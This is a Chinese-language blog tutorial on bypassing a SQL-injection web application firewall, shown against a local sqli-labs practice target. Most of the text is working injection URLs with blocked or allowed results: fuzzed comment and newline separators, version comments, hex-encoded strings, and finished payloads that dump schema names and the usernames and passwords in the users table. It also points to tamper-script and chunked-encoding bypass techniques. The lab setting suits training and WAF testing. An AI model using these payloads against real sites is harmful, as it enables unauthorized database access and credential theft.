sql_waf绕过
文章目錄
- sql_waf繞過手工(fuzz)測試
- 零.判斷數據庫類型,中間件,腳本語言
- 一.判斷是否存在注入點
- 二.判斷不攔截的位置,用符號去替代5個位置
- 三.簡化payload
- 四.繼續注入
- 五.單引號攔截 16進制編碼
- sql_waf繞過思維導圖
- sql_waf tamper繞過腳本編寫
- tamper自帶腳本使用
- tamper編寫
- 大佬們的騷姿勢
- 總結
sql_waf繞過手工(fuzz)測試
零.判斷數據庫類型,中間件,腳本語言
- 此步驟方便后面繞waf,最好是先收集起來
一.判斷是否存在注入點
%26%26 True %26%26 FalseXor True Xor False'&1--+ '%262--+'%26true--+ '%26false--+' and -7=-7--+ ' and -7=-5--+' and /*!1=1*/--+ ' and /*!1=2*/--+'Xor 0--+ 'Xor true--+ 'Xor false--+'xor(length(database/**/())=7)--+'%26(length(database/**/())=8)--+ '%26(length(database/**/())=7)--+二.判斷不攔截的位置,用符號去替代5個位置
- 5個位置可用目錄中的思維導圖的url編碼字符去占位,也可以先用x混雜其它去占位,總之就是判斷出不攔截的位置,從而繞過waf
(位置1)union(位置2)select(位置3)a(位置4)from(位置5)b
然后判斷字段數 order by http://192.168.1.131/Less-1/index.php?id=1 order by 1 攔截 http://192.168.1.131/Less-1/index.php?id=1 order /*!by*/ 1 不攔截 結果:字段數為3繼續聯合查詢注入構造語句 http://192.168.1.131/Less-1/index.php?id=1e9 union select 1,2,3 攔截小技巧:這里的科學計數法可以和union連寫http://192.168.1.131/Less-1/index.php?id=1e9union select 1,2,3 攔截判斷可以fuzz進行繞過的地方 http://192.168.1.131/Less-1/index.php?id=1e9union select 1,2,3 攔截 http://192.168.1.131/Less-1/index.php?id=1e9uxnion select 1,2,3 不攔截 http://192.168.1.131/Less-1/index.php?id=1e9unionx select 1,2,3 不攔截 http://192.168.1.131/Less-1/index.php?id=1e9union xselect 1,2,3 不攔截 http://192.168.1.131/Less-1/index.php?id=1e9union sexlect 1,2,3 不攔截 http://192.168.1.131/Less-1/index.php?id=1e9union selectx 1,2,3 攔截不攔截的有 http://192.168.1.131/Less-1/index.php?id=1e9uxnion select 1,2,3 不攔截 http://192.168.1.131/Less-1/index.php?id=1e9unionx select 1,2,3 不攔截 http://192.168.1.131/Less-1/index.php?id=1e9union xselect 1,2,3 不攔截 http://192.168.1.131/Less-1/index.php?id=1e9union sexlect 1,2,3 不攔截再判斷我們不可以把select union關鍵詞之間添加說明我們只能fuzz http://192.168.1.131/Less-1/index.php?id=1e9union[fuzz]select 1,2,3 這個fuzz的地方了試下我們常規的繞過吧 /**/ /*!*/ %0d%0a %23%0a http://192.168.1.131/Less-1/index.php?id=1e9union/**/select 1,2,3 攔截 http://192.168.1.131/Less-1/index.php?id=1e9union/*!%0d%0a*/select 1,2,3 攔截 http://192.168.1.131/Less-1/index.php?id=1e9union/*!*/%0d%0a/**/select 1,2,3 攔截 http://192.168.1.131/Less-1/index.php?id=1e9union/*!*/%0d%0aselect/**/1,2,3 攔截 http://192.168.1.131/Less-1/index.php?id=1e9union/*!*/%0d%0a/*!50000select*//**/1,2,3 攔截 http://192.168.1.131/Less-1/index.php?id=1e9union/*!%23%0a*//*!50000select*//**/1,2,3 攔截 繼續復雜點 http://192.168.1.131/Less-1/index.php?id=1e9union/*!%23%0a/*!50000select*/1,2,3 攔截 加點符號干擾 http://192.168.1.131/Less-1/index.php?id=1e9union/*!%23!@@@@!!!%0a/*!50000select*/1,2,3 攔截 http://192.168.1.131/Less-1/index.php?id=1e9union/*!-- -%23!@x\\\\\x@@@xx!!xx!%0a/*!50000select*/1,2,3 突破了三.簡化payload
然后我們開始簡化 把沒用的字符去掉 最簡化:http://192.168.1.131/Less-1/index.php?id=1e9union-- -x%0aselect 1,2,3 提取關鍵詞 -- -x%0a四.繼續注入
繼續注入 http://192.168.1.131/Less-1/index.php?id=1e9union-- -x%0aselect 1,database(),3 攔截 http://192.168.1.131/Less-1/index.php?id=1e9union-- -x%0aselect 1,database/*!*/(),3 攔截 Fuzz: http://192.168.1.131/Less-1/index.php?id=1e9union-- -x%0aselect1,database/*!*/(),3 攔截 http://192.168.1.131/Less-1/index.php?id=1e9union-- -x%0aselectx1,database/*!*/(),3 不攔截http://192.168.1.131/Less-1/index.php?id=1e9union-- -x%0aselect[fuzz]1,database/*!*/(),3 http://192.168.1.131/Less-1/index.php?id=1e9union-- -x%0aselect~1,database/*!*/(),3 不攔截爆庫名 http://192.168.1.131/Less-1/index.php?id=1e9union-- -x%0aselect~1,group_concat(SCHEMA_NAME),3 from information_schema.SCHEMATA 不攔截爆表名 http://192.168.1.131/Less-1/index.php?id=1e9union-- -x%0aselect~1,group_concat(table_NAME),3 from information_schema.tables where table_schema='security' 不攔截爆字段名 http://192.168.1.131/Less-1/index.php?id=1e9union-- -x%0aselect~1,group_concat(column_NAME),3 from information_schema.columns where TABLE_NAME = 'users' and TABLE_SCHEMA = 'Security'攔截五.單引號攔截 16進制編碼
單引號可能攔截 我們16進制編碼看下 http://192.168.1.131/Less-1/index.php?id=1e9union-- -x%0aselect~1,group_concat(column_NAME),3 from information_schema.columns where TABLE_NAME =0x7573657273 && TABLE_SCHEMA =0x5365637572697479 不攔截最后查詢內容 http://192.168.1.131/Less-1/index.php?id=1e9union-- -x%0aselect~1,concat(0x7e,username,0x7e,password,0x7e),3 from users 不攔截sql_waf繞過思維導圖
通過閱讀bypass大佬的文章將其內容做了思維導圖
圖中我們以幾個方向去繞過waf
一.服務器特性
二.應用層特性
三.waf層特性
首先吧↑↑↑這上面這三種特性測試一遍,再測試數據庫特性
測試數據庫特性之前,需要找到存在繞過的位置,然后再進行測試數據庫特性
四.數據庫特性
sql_waf tamper繞過腳本編寫
tamper自帶腳本使用
參考連接------------->>tamper 繞過WAF腳本
tamper編寫
編寫tamper腳本第一步
1.通常我們編寫tamper腳本的時候,需要知道,waf到底過濾了什么? 這時我們就需要在五個位置中進行 FUZZ 。
當找到waf不攔截的位置,并且能執行sql語句時候我們就可以去編寫tamper腳本了。
2.tamper腳本編寫---------->>tamper腳本編寫
大佬們的騷姿勢
連接—> 酒仙橋六號部隊:分塊傳輸繞waf
連接----> HACK學習呀:萬能bapass
總結
繞waf首先要做的是測試他的匹配規則
可以自己搭建環境進行FUZZ
比如 安全狗就是 匹配 union select 當兩個在一起時候就攔截
如果我們只存在其中一個,他就不攔截
所以我們做的
第一步:刪除關鍵字眼,看他到底攔截的是什么,也可以FUZZ
第二步:攔截什么我們就在其空位添加干擾符合,和空白符合,也可FUZZ
第三步:直到WAF不攔截,并且數據庫可以執行語句,則bypass成功
參考連接:
https://blog.csdn.net/God_XiangYu/article/details/105480259?utm_source=app
https://blog.csdn.net/q1352483315/article/details/90175002
總結
- 上一篇: 计算机网络基础(缩短版)
- 下一篇: XSS备忘录